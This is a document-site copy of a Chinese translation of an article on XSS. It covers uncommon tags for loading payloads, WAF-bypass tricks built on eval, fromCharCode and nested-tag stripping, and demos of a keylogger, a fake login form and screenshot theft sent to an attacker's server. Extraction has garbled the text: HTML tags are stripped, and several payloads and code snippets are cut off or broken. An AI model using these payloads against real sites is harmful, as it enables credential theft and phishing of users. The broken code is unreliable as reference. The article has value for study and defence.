




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
1、對(duì) XSS 的一次深入分析認(rèn)識(shí)作者:clouds 原文鏈接:/s? biz=MjM5NjA0NjgyMA=&mid=2651073577&idx=1&sn=8fc6c983763a70de89b8caaaa41f000b&chksm=bd1fbea28a6837b466445049b7a05c40fbb1574ccaa679a6a9e41e71bb7abb739920c8a215a9&mpshare=1&scene=24&srcid=&key=f2f51bf817f1770304bda3f3123ac28c543 收集整理:http:/www.nm
2、/test/index.php本文由 干貨隨著時(shí)間的推移, Web應(yīng)用漏洞的類型在不斷演變,但年復(fù)一年持續(xù)存在且影響廣泛的漏洞仍然還屬XSS漏洞。長(zhǎng)期以來, XSS漏洞算是非常常見的安全問題,以至于對(duì)大多數(shù)人來說,即使一個(gè)新的XSS漏洞被披露,但從內(nèi)心來說,早已習(xí)已為常。本文深入描述XSS攻擊在幾種實(shí)際環(huán)境中的應(yīng)用,同時(shí)順帶提到了一些XSS攻擊的繞過技術(shù)。 幾種加載XSS Payload的不常見標(biāo)簽和我們能想到的一樣,預(yù)防是最好的治療方法,而且去嘗試和緩解一些意外的攻擊也不失為一種好的策略實(shí)踐。通常情況下,大多數(shù)組織機(jī)構(gòu)只會(huì)部署現(xiàn)成的WAF產(chǎn)品(網(wǎng)絡(luò)應(yīng)用訂開發(fā)適合自身的緩解技術(shù),根
3、本不會(huì)意識(shí)到那些結(jié)合自身的防護(hù)技術(shù)才是最恰當(dāng)最精準(zhǔn)的安全措施。 ),而不是制 這樣一來,攻擊者們?cè)跇?gòu)造代碼驗(yàn)證請(qǐng)求或?qū)嵤┐a審計(jì)之后,有WAF產(chǎn)品也沒用,攻防雙方就又形成了貓捉老鼠或是打地鼠的游戲格局了。 就通用的XSSfilter來說,因?yàn)槭且隞avaScript腳本執(zhí)行的原始方法,所以其中對(duì) 和 配對(duì)標(biāo)簽的使用是完全禁止的。如果一個(gè)攻擊者發(fā)現(xiàn)標(biāo)簽被禁止之后,他可能會(huì)轉(zhuǎn)向?qū)で笃渌椒▉韴?zhí)行JavaScript腳本,打地鼠游戲就開始了。 眾所周知,一種調(diào)用JavaScript的方法就是在元素類型上使用處理器(EventHandler),通常的一種方法類似:,這是一種使用無效src屬性來觸發(fā)
4、onerror處 理器(onerror event handler)的方法,當(dāng)然,其中包含了一個(gè)alert跳出框的xss payload,如下alert(1): 1 由于過度使用img標(biāo)簽和onerror在此談?wù)劇?處理器,它們經(jīng)常被列入XSS過濾黑,但除此之外還有其它形式的XSS攻擊向量。雖然所有可能的XSS攻擊向量標(biāo)簽列表無法一時(shí)列出,但其中幾種非常有必要 Body標(biāo)簽由于這種攻擊方法向量,在給定頁(yè)面中只有一個(gè)body標(biāo)簽,有些人可能認(rèn)為它不起作用,但實(shí)際上,所有瀏覽器都會(huì)把它當(dāng)提交body元素的方法,形成XSS Payload,當(dāng)其中的body元素被解析后就會(huì)觸發(fā)Payload。示例如下
5、: 處理器(Event Handler)來執(zhí)行。在這里,可以在onpageshow中用 Style標(biāo)簽盡管onload總會(huì)被識(shí)別為危險(xiǎn)動(dòng)作,但另外來說,它也可以和style標(biāo)簽組合來用,雖然這種場(chǎng)景并不多見。示例如下:Marquee 標(biāo)簽Marquee 標(biāo)簽除了在web開發(fā)中有標(biāo)簽內(nèi)容回滾作用之外,它還支持一系列的處理程序,因此可以用它來實(shí)現(xiàn)XSS Payload觸發(fā)。Marquee支持的一系列處理程序如下: 2 onbounce:是在標(biāo)簽中的內(nèi)容滾動(dòng)到上下或左右邊界時(shí)觸發(fā)的處理程序,該只有在標(biāo)簽的behavior屬性設(shè)為alternate時(shí)才有效; onfinish:當(dāng) marquee 完成
6、 loop 屬性設(shè)置的值時(shí)觸發(fā)。它只能在 loop 屬性設(shè)置為大于 0 的某個(gè)數(shù)字時(shí)觸發(fā);onstart: 當(dāng) marquee 標(biāo)簽內(nèi)容開始滾動(dòng)時(shí)觸發(fā)。結(jié)合此,加入XSS Payload的示例如下:hack the planethack the planethack the planet/mMedia 標(biāo)簽可能這種利用音視頻標(biāo)簽來加載XSS Payload的方法很少見,實(shí)際來說,音視頻標(biāo)簽中確實(shí)有幾種處理程序不會(huì)輕易被列入黑行列,尤其是以下幾種: oncanplay: 在用戶可以開始播放音視頻(audio/video)時(shí)觸發(fā); ondurationchange: 在音視頻(audio/vide
7、o)的時(shí)長(zhǎng)發(fā)生變化時(shí)觸發(fā); onended: 在音視頻(audio/video)播放結(jié)束時(shí)觸發(fā);onloadeddata: 在音視頻數(shù)據(jù)幀加載時(shí)觸發(fā),也即在當(dāng)前幀的數(shù)據(jù)加載完成且還沒有足夠的數(shù)據(jù)播放音視頻(audio/video)的下一幀時(shí)觸發(fā);onloadedmetadata: 在指定音視頻(audio/video)的元數(shù)據(jù)(如分辨率和時(shí)長(zhǎng))加載后觸發(fā); onloadstart: 在瀏覽器開始尋找指定音視頻(audio/video)時(shí)觸發(fā); onprogress: 瀏覽器下載指定的音視頻(audio/video)時(shí)觸發(fā); onsuspend: 在瀏覽器讀取音視頻(audio/video)數(shù)據(jù)
8、中止時(shí)觸發(fā)。 結(jié)合以上,加入XSS Payload的示例如下:audio autoplay=true onended=alert(1) src=/medi黑代碼樣式正如很多殺毒軟件的模式匹配規(guī)則一樣,只要某種行為動(dòng)作和其內(nèi)置的規(guī)則相匹配,則該動(dòng)作就會(huì)被馬上列入黑中禁止執(zhí)行。 在有些場(chǎng)景下,我們發(fā)現(xiàn)與JavaScript代碼同義的各種動(dòng)作都會(huì)被目標(biāo)防護(hù)軟件列入黑,甚至是使用正常的alert也不例外。在此,有幾種方法可以繞過這些模式匹配規(guī)則。 Eval & 其它冗余符號(hào)3 如果目標(biāo)系統(tǒng)的WAF或其它防護(hù)軟件沒把 /(eval|replace)(.+?)/i 這種樣式列入黑replace動(dòng)作把冗余符
9、號(hào)進(jìn)行替換刪除。 ,那么我們可以在其中通過夾雜冗余符號(hào)的方式形成Payload,利用其中的eval動(dòng)作來加載Payload,再利用之后的就比如,eval(alert(1) 等同于 alert(1) ,傳入eval的字符串行為會(huì)被解釋執(zhí)行,如果我們按照常規(guī)方式來構(gòu)造,肯定會(huì)被目標(biāo)系統(tǒng)中的WAF類產(chǎn)品識(shí)別阻擋。所以,在此,我們可以通過eval和replace的組合利用,先在其中加入一些冗余符號(hào)來進(jìn)行混淆,再進(jìn)行替換刪除,最終繞過WAF規(guī)則,形成我們想要達(dá)到的Payload。示例如下: eval(alert(1).replace(/g, )圍繞引號(hào)轉(zhuǎn)義來做文章 當(dāng)引號(hào)被轉(zhuǎn)義(escape)之后,不管
10、使用了什么繞過技術(shù),肯定會(huì)引起問題,就像上面的eval(alert(1).replace(/g, )一樣,如果要順帶把引號(hào)轉(zhuǎn)義,其Payload可能如下: eval(alert(1).replace(/g, )但另一種變換方法就是利用正則表達(dá)式來避免帶入引號(hào)的使用,如可以在上述Payload中引入正斜杠方式,然后再用創(chuàng)建的正則表達(dá)式對(duì)象屬性來訪問其中的閉合字符串。示例如下: eval(/alert(1)/.source.replace(/g, new String()以此用new String()來實(shí)現(xiàn)把轉(zhuǎn)換為空字符串的目的,從而不需要用到引號(hào)。對(duì)引號(hào)實(shí)行轉(zhuǎn)義并繞過WAF類產(chǎn)品模式匹配規(guī)則的一
11、個(gè)有效手段是使用eval的String.fromCharCode方法,該方法將獲取一個(gè)或多個(gè)十進(jìn)制Unicode值,然后將它們轉(zhuǎn)換成等效的ASCII字符,并將它們連 成一個(gè)字符串,如: console.log(String.fromCharCode(65,66,67,68) /在終端返回顯示的是字符串 ABCD通過這種對(duì)Unicode值的轉(zhuǎn)換,可以把目標(biāo)值傳遞給eval,因此,可以構(gòu)造Payload如下:eval(String.fromCharCode(97,108,101,114,116,40,49,41) / 最終執(zhí)行的會(huì)是 alert(1)其它使用Eval的方法上面的例子有些是圍繞eva
12、l的使用而不是過濾來談的,由于eval是一種大家熟知的危險(xiǎn)方法,所以經(jīng)常會(huì)看到/eval(.+?)/i這樣的過濾方式。 相應(yīng)的,我們也可以采取其它方法來規(guī)避過濾。由于函數(shù)可以存儲(chǔ)在JavaScript的變量中,所以為了不直接調(diào)用eval,我們可以把它分配給一個(gè)變量,然后間接調(diào)用它,示例如下: varx= eval;x(alert(1)另外一種間接調(diào)用eval的方法是用括號(hào)進(jìn)行構(gòu)造,即用括號(hào)間接調(diào)用法,如表達(dá)式(1,2,3,4)返回的是4,即括號(hào)中最后一個(gè),所以(1,eval)返回的是函數(shù)eval,具體示例如下: (eval)/ 返回函數(shù)eval(1, eval) / 仍然返回函數(shù)eval4 因
13、此可以構(gòu)造以下Payload來執(zhí)行:(1, eval)(alert(1) / 返回 alert(1)基于此,也可以使用call方法來直接調(diào)用,如下:eval.call(null, alert(1) /返回 alert(1)其次,可以定義一個(gè)新函數(shù)的方法來規(guī)避直接對(duì)eval的調(diào)用,當(dāng)然這種方法還會(huì)涉及到一些語(yǔ)法定義,如下: function hackThePlanet () alert(1)最后,還可以用創(chuàng)建Function對(duì)象的方式來實(shí)現(xiàn)alert調(diào)用,該對(duì)象接受構(gòu)造函數(shù)中的字符串作為函數(shù)實(shí)現(xiàn),如下:new Function(alert(1)()利用錯(cuò)誤輸入過濾機(jī)制實(shí)現(xiàn)繞過如果用戶輸入內(nèi)容看似
14、危險(xiǎn),那么就需要對(duì)其輸入和響應(yīng)進(jìn)行一些過濾,最好的方法就是只顯示出一些通用性錯(cuò)誤或是直接拒絕用戶的整個(gè)請(qǐng)求。 不管怎么說,這種定制化的緩解防護(hù)策略也很常見,但就像上述我們提到的各種繞過技術(shù)一樣,如果我們充分了解了目標(biāo)系統(tǒng)的輸入過濾機(jī)制,那么,也可以利用這種過濾機(jī)制,以其人之道還治其人 之身,最終構(gòu)造出我們的有效Payload。 利用不安全樣式刪除機(jī)制刪除不安全危險(xiǎn)數(shù)據(jù)的最常見方法之一可能就是把它直接刪除,一些過濾器只會(huì)簡(jiǎn)單地認(rèn)為,危險(xiǎn)數(shù)據(jù)刪除了就安全了。 這種刪除機(jī)制除非是遞歸方法執(zhí)行,否則,它也會(huì)自己把自己玩死。就像如果和標(biāo)簽對(duì)會(huì)被過濾器轉(zhuǎn)換為空字符串,那么,把它們組合構(gòu)造夾雜放入一條jav
15、ascript中,最終只有 和 標(biāo)簽對(duì)被刪除了,其它剩下的就又形成了新的組合方式,示例如下: scriptalert(1)/script上述javascript中,如果過濾器只是簡(jiǎn)單地把標(biāo)簽對(duì)刪除了,那么最終會(huì)剩下:alert(1)完美,這就是我們想要的。同樣的方法可以應(yīng)用到一些標(biāo)簽屬性或處理程序中,就像如果onerror是刪除目標(biāo),那么,我們可以構(gòu)造以下Payload: 最終刪除后剩下的結(jié)果為: 5 替換不安全樣式當(dāng)一些不安全的樣式被替換而不是被刪除之后,目標(biāo)系統(tǒng)過濾器要識(shí)別它們,可能就有一些麻煩了。根據(jù)不同的過濾器規(guī)則,可以使用替換方式來構(gòu)造我們最終想要的Payload。 就比如,如果目標(biāo)
16、系統(tǒng)的過濾器會(huì)把標(biāo)簽對(duì)都過濾替換為NAUGHTY_HACKER字段,那么,我們提交alert(1) 之后的結(jié)果就會(huì)是 NAUGHTY_HACKERalert(1)NAUGHTY_HACKER。 但如果我們把標(biāo)簽對(duì)的聲明改為 和 這種嵌套式樣式后,那么參照替換為NAUGHTY_HACKER字段的規(guī)則,對(duì)于alert(1)來說,目標(biāo)過濾器會(huì) 把它過濾為: alert(1)在開始標(biāo)簽script NAUGHTY_HACKER中,瀏覽器會(huì)把NAUGHTY_HACKER默認(rèn)解析為一個(gè)不帶值的屬性,就像input中的autofocus屬性一樣。在閉合標(biāo)簽中,雖然 技術(shù)上屬于無效,但最終卻能正確解析。因?yàn)闉g
17、覽器在某種程度上為了減少錯(cuò)誤,雖然能識(shí)別到這個(gè)附加屬性,但會(huì)簡(jiǎn)單地把它忽視掉。最終在瀏覽器的檢查器效果如下: XSS的影響絕不僅僅是跳出彈框!一些XSS披露漏洞中簡(jiǎn)單的跳出彈框PoC證明,可能是導(dǎo)致XSS漏洞被認(rèn)知不足的一個(gè)原因吧,盡管XSS調(diào)用alert形式的彈框能證明漏洞的存在,但卻不能很好地證明XSS漏洞的實(shí)際威力和影響。 所以,XSS漏洞導(dǎo)致的JavaScript執(zhí)行到底會(huì)有多嚴(yán)重,讓我們產(chǎn)生無限遐想。在此就分享兩個(gè)案例。 無需會(huì)話Cookie劫持實(shí)現(xiàn)賬戶獲取會(huì)話Cookie劫持可能是XSS攻擊中對(duì)目標(biāo)系統(tǒng)或用戶的最大潛在威脅,因?yàn)檫@通常會(huì)導(dǎo)致目標(biāo)用戶的會(huì)話被攻擊者完全操縱利用。 越來
18、越多的人熟知會(huì)話劫持的風(fēng)險(xiǎn),因此,后期在會(huì)話信息中加入了HttpOnly標(biāo)志,來避免JavaScript讀取Cookie,這應(yīng)該算是一個(gè)大的改進(jìn)了,但實(shí)際來說,劫持賬戶也并不只有Cookie劫持一種方 法。 6 有很多程序可以和JavaScript關(guān)聯(lián)起來,其中一個(gè)就是 keypress 按鍵擊、按下或選中觸發(fā)回調(diào),以此來截取用戶的按鍵信息。 (你能看到該背后會(huì)發(fā)生什么嗎?)。通過在keypress的document調(diào)用方法中添加回調(diào)函數(shù)Callback,在用戶點(diǎn)通過這種操作,攻擊者可以有效地將鍵盤記錄器植入用戶瀏覽器中,實(shí)現(xiàn)按鍵,竊取用戶憑據(jù)相關(guān)的按鍵信息。如下視頻: 上圖中,keypres
19、s 按鍵通過包含以下內(nèi)容的JavaScript文件,捕獲按鍵信息并發(fā)送到攻擊者的本地web服務(wù)器中。document.addEventListener(keypress, function (event) var xhr = new XMLHttpRequest() xhr.open(POST, /keylogger) xhr.setRequestHeader(Content-Type, application/x-wwwDOM 形式的操縱利用雖然上述XSS構(gòu)造的鍵盤記錄器能正常起效,但如果不被目標(biāo)用戶信任,迷惑不了目標(biāo)用戶執(zhí)行輸入,那么,這種攻擊最后也會(huì)無效。 我們可以對(duì)上述鍵盤記錄器PoC
20、稍作修改,可以修改執(zhí)行時(shí)的DOM,用包含登錄頁(yè)面的body內(nèi)容進(jìn)行替換。這樣一來,可以把任意標(biāo)記內(nèi)容都分配給document.body.innerHTML作為屬性,如下: var dummyFormHtml = Weve had reports of bad guys trying to do wrong by +our users lately - help us, help you, by logging in +aga這樣,頁(yè)面的body內(nèi)容將會(huì)形成一個(gè)迷惑性的登錄框,誘使用戶輸入憑據(jù)等敏感信息。如下: 7 雖然這只是個(gè)簡(jiǎn)單的示例,但是基于此,攻擊者可以創(chuàng)建和網(wǎng)站登錄頁(yè)面一模一樣的釣魚頁(yè)
21、面,以假亂真,形成有效攻擊。畢竟,大部份受害者只要看到正確的域名,就不會(huì)對(duì)登錄頁(yè)面產(chǎn)生太多質(zhì) 疑。 DOM 形式的這種操縱利用遠(yuǎn)不止于此,另外,它還可以用來構(gòu)造復(fù)雜的社工攻擊。比如,可以被構(gòu)造用來向用戶發(fā)送提示,告訴用戶需要通過某個(gè)號(hào)碼去聯(lián)系客戶支持部門,如果這種提示顯示 在和用戶訪問的目標(biāo)網(wǎng)站相同的域名上,那么其可信度就相當(dāng)高了,只要用戶撥通所謂的客戶部門電話,個(gè)人敏感信息就會(huì)被攻擊者輕易獲得。 一圖勝千言 - 利用XSS竊取用戶瀏覽器視圖截圖如今,隨著現(xiàn)代瀏覽器功能特性的不斷發(fā)展更新,XSS Payload的構(gòu)造方式也不斷升級(jí),利用新的瀏覽器功能特性,攻擊者甚至可以竊取到用戶當(dāng)前瀏覽器視圖
22、的截圖信息。 html2canvas 能夠?qū)崿F(xiàn)在用戶瀏覽器端直接對(duì)整個(gè)或部分頁(yè)面進(jìn)行截屏,利用這能,攻擊者用6行JavaScript代碼就能竊取受害者瀏覽器視圖截圖,并回傳到控務(wù)器。代碼示例如下:html2canvas(document.querySelector(body).then(canvas = var xhr = new XMLHttpRequest() xhr.open(POST, /screenshot) xhr.setRequestHeader(Content-Type, application/結(jié)合上述代碼,構(gòu)造以下Payload提交到測(cè)試的目標(biāo)用戶應(yīng)用中,之后,就會(huì)生成一張包含目標(biāo)用戶使用信息的截圖圖片,而且該圖片會(huì)被回傳至攻擊者控務(wù)器中。 img src=/media/hack-the-planet.jpg onload
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 人力資源管理協(xié)同機(jī)制
- 2025年太陽(yáng)開水器合作協(xié)議書
- 大學(xué)物理上冊(cè)知識(shí)
- 住宅改造合同終止函
- 蘋果筆記本如何做
- 2025年度保稅區(qū)物流車輛新能源推廣應(yīng)用合同
- 小學(xué)生清明節(jié)教育
- 物業(yè)個(gè)人工作情況總結(jié)
- 安全工作總結(jié)報(bào)告
- 學(xué)生會(huì)辦公室月末總結(jié)
- 2025年安徽港航集團(tuán)所屬企業(yè)招聘13人筆試參考題庫(kù)附帶答案詳解
- 2024年醫(yī)師定期考核考題《臨床練習(xí)》
- 反詐知識(shí)競(jìng)賽題庫(kù)及答案(共286題)
- 人類進(jìn)化史精品課件
- 魯濱遜漂流記讀后感PPT
- 總包單位向門窗單位移交門窗安裝工程工作面交接單
- 設(shè)備供貨安裝方案(通用版)
- 公開招聘社區(qū)居委專職工作人員考試筆試、面試題集及相關(guān)知識(shí)(11套試題含答案)
- 《植物生理學(xué)》課件第三章+植物的光合作用
- 中國(guó)藥膳理論與實(shí)踐-藥膳基本理論和技能
- 華東師大版七年級(jí)初一數(shù)學(xué)下冊(cè)全套試卷(單元、期中、期末)
評(píng)論
0/150
提交評(píng)論